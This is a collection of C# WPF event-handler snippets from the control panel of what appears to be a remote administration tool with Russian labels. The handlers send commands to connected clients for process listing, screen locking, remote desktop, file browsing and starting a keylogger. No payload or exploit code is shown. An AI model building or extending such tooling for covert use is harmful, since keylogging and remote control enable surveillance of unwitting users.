Beispiel #1
0
        private void Chat_Click(object sender, RoutedEventArgs e)
        {
            try
            {
                MainWindow wind = (MainWindow)Window.GetWindow(this);
                if ((SettingsServer.MyItem)dtgClients.SelectedItem == null)
                {
                    wind.chatControl.chatPlace.Children.Clear(); return;
                }
                SettingsServer.MyItem myItem = (SettingsServer.MyItem)dtgClients.SelectedItem;
                SettingsServer        stg    = (SettingsServer)wind.stgServer;
                wind.chatControl.chatPlace.Children.Clear();
                Chat chat = stg.chats[Convert.ToInt32(myItem.ID)];
                chat.title.Text   = "Чат с " + myItem.Tag + " (" + myItem.IP + ")";
                chat.ConnectionID = Convert.ToInt32(myItem.ID);
                wind.chatControl.chatPlace.Children.Add(chat);

                wind.GridMain.Children.Clear();
                wind.GridMain.Children.Add(wind.chatControl);
                wind.chatControl.dtgClients.ItemsSource = dtgClients.Items;
                wind.chatControl.dtgClients.Items.Refresh();
            }
            catch
            {
            }
        }
Beispiel #2
0
 private void HardwareUsage_Click(object sender, RoutedEventArgs e)
 {
     try
     {
         SettingsServer.MyItem myItem = (SettingsServer.MyItem)dtgClients.SelectedItem;
         MainServer.Send(Convert.ToInt16(myItem.ID), Encoding.UTF8.GetBytes("StartUsageStream"));
     }
     catch
     {
     }
 }
Beispiel #3
0
 private void TaskMgr_Click(object sender, RoutedEventArgs e)
 {
     try
     {
         SettingsServer.MyItem myItem = (SettingsServer.MyItem)dtgClients.SelectedItem;
         MainServer.Send(Convert.ToInt16(myItem.ID), Encoding.UTF8.GetBytes("GetProcesses"));
     }
     catch
     {
     }
 }
Beispiel #4
0
 private void RestartClient_Click(object sender, RoutedEventArgs e)
 {
     try
     {
         SettingsServer.MyItem myItem = (SettingsServer.MyItem)dtgClients.SelectedItem;
         MainServer.Send(Convert.ToInt16(myItem.ID), Encoding.UTF8.GetBytes("DisconnectClient"));
     }
     catch
     {
     }
 }
Beispiel #5
0
 private void ScreenLock_Click(object sender, RoutedEventArgs e)
 {
     try
     {
         SettingsServer.MyItem myItem = (SettingsServer.MyItem)dtgClients.SelectedItem;
         MainServer.Send(Convert.ToInt16(myItem.ID), Encoding.UTF8.GetBytes("ToggleScreenlock"));
     }
     catch
     {
     }
 }
Beispiel #6
0
 private void RemoteDesktop_Click(object sender, RoutedEventArgs e)
 {
     try
     {
         SettingsServer.MyItem myItem = (SettingsServer.MyItem)dtgClients.SelectedItem;
         SettingsServer.RemoteDesktop_Click(myItem.ID);
     }
     catch
     {
     }
 }
Beispiel #7
0
 private void Explorer_Click(object sender, RoutedEventArgs e)
 {
     try
     {
         SettingsServer.MyItem myItem = (SettingsServer.MyItem)dtgClients.SelectedItem;
         MainServer.Send(Convert.ToInt16(myItem.ID), Encoding.UTF8.GetBytes("GetDF{" + "BaseDirectory" + "}"));
     }
     catch
     {
     }
 }
Beispiel #8
0
 private void dtgClients_SelectionChanged(object sender, SelectionChangedEventArgs e)
 {
     try
     {
         SettingsServer.MyItem myItem = (SettingsServer.MyItem)e.AddedItems[0];
         IdMenuItem.Header = "ID Клиента: " + myItem.ID;
     }
     catch
     {
         IdMenuItem.Header = "Клиент не выбран";
     }
 }
Beispiel #9
0
 private void Keylogger_Click(object sender, RoutedEventArgs e)
 {
     try
     {
         SettingsServer.MyItem myItem = (SettingsServer.MyItem)dtgClients.SelectedItem;
         MainServer.Send(Convert.ToInt16(myItem.ID), Encoding.UTF8.GetBytes("StartKL"));
         Keylogger K = new Keylogger();
         K.Show();
         K.ConnectionID = Convert.ToInt32(myItem.ID);
         K.Title        = "Кейлоггер - " + myItem.ID;
     }
     catch
     {
     }
 }
 private void dtgClients_SelectionChanged(object sender, SelectionChangedEventArgs e)
 {
     try
     {
         if ((SettingsServer.MyItem)dtgClients.SelectedItem == null)
         {
             chatPlace.Children.Clear(); return;
         }
         SettingsServer.MyItem myItem = (SettingsServer.MyItem)dtgClients.SelectedItem;
         SettingsServer        stg    = (SettingsServer)wind.stgServer;
         chatPlace.Children.Clear();
         Chat chat = stg.chats[Convert.ToInt32(myItem.ID)];
         chat.title.Text   = "Чат с " + myItem.Tag + " (" + myItem.IP + ")";
         chat.ConnectionID = Convert.ToInt32(myItem.ID);
         chatPlace.Children.Add(chat);
     }
     catch
     {
     }
 }